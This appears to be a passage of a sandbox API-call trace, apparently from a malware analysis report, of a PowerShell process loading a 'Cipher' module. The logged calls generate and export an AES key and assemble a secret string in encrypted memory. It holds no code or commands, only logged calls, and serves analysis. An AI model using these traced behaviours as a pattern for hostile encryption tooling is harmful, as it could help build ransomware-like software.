[3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.733] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.733] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\xec00\x692\xecd0\x692\xec88\x692\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0128.733] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.734] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.734] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.734] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.734] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0128.734] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.735] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.735] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.735] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.735] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396a38) returned 1 [0128.736] CryptGenKey (in: hProv=0x4396a38, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84db8) returned 1 [0128.736] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.736] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.736] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6999ec8, pdwDataLen=0x99ae7f8 | out: pbData=0x6999ec8*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.736] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="\x9645\x4164\xb117\xb60\x5431\x408b\x9996\xe75a\x8466\xe9be\x199c\x706c\x4398\x2aaf\xd6d7\xeb9b\x4a8a\x6050\xa81a\x56d4\x1f8d\x271d\x21ac\x680a\xf49d\x8f81\xa119\x3407\x56f2\xbf31\x130c\x6d36\x5ea9\xd962\xe4f4\x99a\x86d0\x42c\xe4f8\x99a\x87a8\x42c\xe3f8\x99a\x65bc\x7477\xe418\x99a\x08") returned 0x0 [0128.736] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.736] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.736] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.737] SysStringLen (param_1="") returned 0x8 [0128.737] SysStringLen (param_1="Q") returned 0x8 [0128.737] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.737] SysStringLen (param_1="\x53d4\x971e\x5ccd\xbda\x264d\xb5b1\x16bc\x5619") returned 0x8 [0128.737] SysStringLen (param_1="\x53d4\x971e\x5ccd\xbda\x264d\xb5b1\x16bc\x5619") returned 0x8 [0128.737] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.737] SysStringLen (param_1="QQ") returned 0x8 [0128.737] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.737] SysStringLen (param_1="浑乼ꥰ쏈ꁺ㷆굨挛") returned 0x8 [0128.737] SysStringLen (param_1="浑乼ꥰ쏈ꁺ㷆굨挛") returned 0x8 [0128.737] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.737] SysStringLen (param_1="QQv") returned 0x8 [0128.737] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.737] SysStringLen (param_1="\xf250\xd356\x1cc4\xbb90\x56a5\x4f22\xda5e\xe5a5") returned 0x8 [0128.737] SysStringLen (param_1="\xf250\xd356\x1cc4\xbb90\x56a5\x4f22\xda5e\xe5a5") returned 0x8 [0128.737] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.738] SysStringLen (param_1="QQv2") returned 0x8 [0128.738] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.738] SysStringLen (param_1="\xd14d\x5ebe\x4162\x6047\xfd39\xb090\x78d4\x6c4b") returned 0x8 [0128.738] SysStringLen (param_1="\xd14d\x5ebe\x4162\x6047\xfd39\xb090\x78d4\x6c4b") returned 0x8 [0128.738] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.740] SysStringLen (param_1="QQv2n") returned 0x8 [0128.740] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.740] SysStringLen (param_1="\x2c45\xb16e\x96d5\x3d0f\x77c9\x6f95\xb5e7\xe339") returned 0x8 [0128.740] SysStringLen (param_1="\x2c45\xb16e\x96d5\x3d0f\x77c9\x6f95\xb5e7\xe339") returned 0x8 [0128.740] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.740] SysStringLen (param_1="QQv2nm") returned 0x8 [0128.740] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.740] SysStringLen (param_1="\x86fb\x254c\x7b5f\xd74f\xc78\xb2be\x83fb\x83cc") returned 0x8 [0128.740] SysStringLen (param_1="\x86fb\x254c\x7b5f\xd74f\xc78\xb2be\x83fb\x83cc") returned 0x8 [0128.740] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.740] SysStringLen (param_1="QQv2nmY") returned 0x8 [0128.740] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.740] SysStringLen (param_1="༫뻄⾂쇂맄䎤ୌ⍫") returned 0x8 [0128.740] SysStringLen (param_1="༫뻄⾂쇂맄䎤ୌ⍫") returned 0x8 [0128.740] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.740] SysStringLen (param_1="QQv2nmYz") returned 0x8 [0128.740] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.740] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572") returned 0x8 [0128.740] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572") returned 0x8 [0128.740] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572") returned 0x8 [0128.740] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572") returned 0x10 [0128.740] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="QQv2nmYzN庑閨ꖲ뷈ᇶ蜮֡") returned 0x10 [0128.741] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x82c4\x7fae\x3e26\x9331\x32b7\xb41d\xaa59\xb3d0") returned 0x10 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x82c4\x7fae\x3e26\x9331\x32b7\xb41d\xaa59\xb3d0") returned 0x10 [0128.741] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="QQv2nmYzN0閨ꖲ뷈ᇶ蜮֡") returned 0x10 [0128.741] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\xf5c1\x464c\xea8f\x2cdf\x11fe\x51f0\x91f1\xe451") returned 0x10 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\xf5c1\x464c\xea8f\x2cdf\x11fe\x51f0\x91f1\xe451") returned 0x10 [0128.741] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="QQv2nmYzN0cꖲ뷈ᇶ蜮֡") returned 0x10 [0128.741] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x4c13\x1c52\x23c4\x5c85\x68a2\xe06a\x5e42\xe91d") returned 0x10 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x4c13\x1c52\x23c4\x5c85\x68a2\xe06a\x5e42\xe91d") returned 0x10 [0128.741] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="QQv2nmYzN0cc뷈ᇶ蜮֡") returned 0x10 [0128.741] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x5629\x7a6c\x8556\xf07f\xc4c4\x3671\x31d3\x78c9") returned 0x10 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x5629\x7a6c\x8556\xf07f\xc4c4\x3671\x31d3\x78c9") returned 0x10 [0128.741] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="QQv2nmYzN0cc+ᇶ蜮֡") returned 0x10 [0128.741] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.741] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x899e\xe1e7\xb0a\x2e4c\x7134\x66a8\x6b7e\xde1d") returned 0x10 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x899e\xe1e7\xb0a\x2e4c\x7134\x66a8\x6b7e\xde1d") returned 0x10 [0128.742] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.742] SysStringLen (param_1="QQv2nmYzN0cc+h蜮֡") returned 0x10 [0128.742] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\xefd7\x9805\x93a5\x8a2a\xcdd\x68fa\x4f1f\x91fc") returned 0x10 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\xefd7\x9805\x93a5\x8a2a\xcdd\x68fa\x4f1f\x91fc") returned 0x10 [0128.742] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.742] SysStringLen (param_1="QQv2nmYzN0cc+hR֡") returned 0x10 [0128.742] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x6df1\x5ea\x6b1d\xfc6\x962a\xb8e6\xb4b9\xd86f") returned 0x10 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x6df1\x5ea\x6b1d\xfc6\x962a\xb8e6\xb4b9\xd86f") returned 0x10 [0128.742] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.742] SysStringLen (param_1="QQv2nmYzN0cc+hRv") returned 0x10 [0128.742] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb") returned 0x10 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb") returned 0x10 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb") returned 0x10 [0128.742] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb") returned 0x18 [0128.742] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.742] SysStringLen (param_1="QQv2nmYzN0cc+hRvO肭쇴᭗暫硽☨") returned 0x18 [0128.742] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xde69\x7480\xb0fd\xc7df\xc649\x8934\x9262\x7a91") returned 0x18 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xde69\x7480\xb0fd\xc7df\xc649\x8934\x9262\x7a91") returned 0x18 [0128.743] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQ肭쇴᭗暫硽☨") returned 0x18 [0128.743] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xcab9\x9801\x142f\xaccb\x4db8\x6bd2\x9431\x1f09") returned 0x18 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xcab9\x9801\x142f\xaccb\x4db8\x6bd2\x9431\x1f09") returned 0x18 [0128.743] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQX쇴᭗暫硽☨") returned 0x18 [0128.743] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\x2fb0\xf3a8\xf65d\x7730\x9c6f\x6d05\xb187\x6c64") returned 0x18 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\x2fb0\xf3a8\xf65d\x7730\x9c6f\x6d05\xb187\x6c64") returned 0x18 [0128.743] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD᭗暫硽☨") returned 0x18 [0128.743] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xb7d4\x3e80\x268f\x6d6b\xcceb\xd1b8\xd115\x33b3") returned 0x18 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xb7d4\x3e80\x268f\x6d6b\xcceb\xd1b8\xd115\x33b3") returned 0x18 [0128.743] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9暫硽☨") returned 0x18 [0128.743] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\x2542\xd1e7\xb064\x1537\x8e72\x329a\x7271\x8f01") returned 0x18 [0128.743] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\x2542\xd1e7\xb064\x1537\x8e72\x329a\x7271\x8f01") returned 0x18 [0128.743] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.743] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9B硽☨") returned 0x18 [0128.743] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\x84c9\x228\xa0d8\x392c\x1f69\x8899\xd7ba\x26ac") returned 0x18 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\x84c9\x228\xa0d8\x392c\x1f69\x8899\xd7ba\x26ac") returned 0x18 [0128.744] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.744] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9Bm☨") returned 0x18 [0128.744] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfadd\x14b2\xf7a5\x381f\x1b2a\x5e16\x137e\x8bb6") returned 0x18 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfadd\x14b2\xf7a5\x381f\x1b2a\x5e16\x137e\x8bb6") returned 0x18 [0128.744] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.744] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9Bmh") returned 0x18 [0128.744] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42") returned 0x18 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42") returned 0x18 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42") returned 0x18 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42") returned 0x20 [0128.744] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.744] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBꞿ뿼摥췛柳徑") returned 0x20 [0128.744] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\xa95e\x1fe\xb460\x38c0\x7846\x8963\x3910\xbe37") returned 0x20 [0128.744] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\xa95e\x1fe\xb460\x38c0\x7846\x8963\x3910\xbe37") returned 0x20 